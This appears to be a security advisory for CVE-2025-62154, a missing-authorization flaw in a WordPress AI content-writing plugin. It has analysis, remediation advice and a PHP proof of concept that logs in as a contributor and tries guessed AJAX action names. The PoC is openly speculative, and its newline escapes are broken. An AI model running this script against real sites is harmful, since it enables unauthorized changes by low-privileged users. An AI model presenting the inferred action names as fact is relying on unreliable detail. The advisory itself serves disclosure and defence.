Atomic Edge analysis of CVE-2025-62154 (metadata-based):
This vulnerability in the AI Content Writing Assistant plugin (versions <=1.1.7) is a missing authorization flaw. The plugin fails to verify user capabilities before executing a privileged function. Attackers with contributor-level WordPress accounts can exploit this to perform unauthorized actions.
CWE-862 indicates the plugin's code lacks proper capability checks. The vulnerability description confirms authenticated attackers with contributor access can trigger unauthorized actions. Atomic Edge research infers the plugin contains an AJAX handler or admin POST endpoint that processes requests without verifying the `current_user_can()` function. This conclusion is based on WordPress plugin patterns where administrative functions typically register via `add_action('wp_ajax_*')` or `add_action('admin_post_*')` hooks.
The exploitation method involves sending a crafted HTTP request to the WordPress AJAX endpoint. Attackers authenticate with contributor credentials, then POST to `/wp-admin/admin-ajax.php` with an action parameter matching the vulnerable handler. The exact action name is unknown without source code, but WordPress plugin conventions suggest it likely follows patterns like `ai_content_writing_assistant_*`, `aicwa_*`, or similar derivations of the plugin slug. The payload would contain parameters that trigger the unauthorized action.
Remediation requires adding a capability check before executing the vulnerable function. The plugin should verify the current user possesses the required permission, typically using `current_user_can('manage_options')` for administrator actions or a custom capability. WordPress security best practices also recommend nonce verification for state-changing operations, though the CWE classification focuses solely on authorization.
Successful exploitation allows contributors to perform actions reserved for higher-privileged users. The CVSS vector indicates confidentiality is unaffected (C:N), integrity is impacted (I:L), and availability is unaffected (A:N). The specific unauthorized action is not detailed, but typical WordPress plugin functions include modifying settings, generating content, or managing plugin data. This could disrupt site operations or allow unauthorized content manipulation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-62154 - AI Content Writing Assistant (Content Writer, ChatGPT, Image Generator) All in One <= 1.1.7 - Missing Authorization
<?php
/**
* Proof of Concept for CVE-2025-62154
* Assumptions:
* 1. The vulnerable endpoint is /wp-admin/admin-ajax.php (standard WordPress AJAX handler)
* 2. The vulnerable action parameter name is 'action' (standard WordPress AJAX parameter)
* 3. The vulnerable action value contains 'ai_content_writing_assistant' (inferred from plugin slug)
* 4. The attack requires contributor-level authentication
* 5. The exact parameters for the unauthorized action are unknown
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Initialize cURL session for authentication
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, authenticate to WordPress
$login_url = 'https://example.com/wp-login.php';
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'https://example.com/wp-admin/',
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Check authentication success by looking for dashboard redirect
if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
die('Authentication failed. Check credentials.');
}
// Attempt to exploit the missing authorization vulnerability
// The exact action name is unknown - trying common patterns based on plugin slug
$possible_actions = [
'ai_content_writing_assistant_action',
'aicwa_action',
'ai_content_writer_action',
'ai_writing_assistant_action'
];
foreach ($possible_actions as $action) {
$exploit_data = [
'action' => $action,
// Include potential parameters that might trigger unauthorized actions
'command' => 'generate_content',
'settings' => 'modified_settings',
'nonce' => 'bypassed' // Nonce would normally be required but is missing
];
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
$ajax_response = curl_exec($ch);
echo "Testing action: {$action}n";
echo "Response: {$ajax_response}nn";
// Add delay to avoid rate limiting
sleep(1);
}
curl_close($ch);
?>
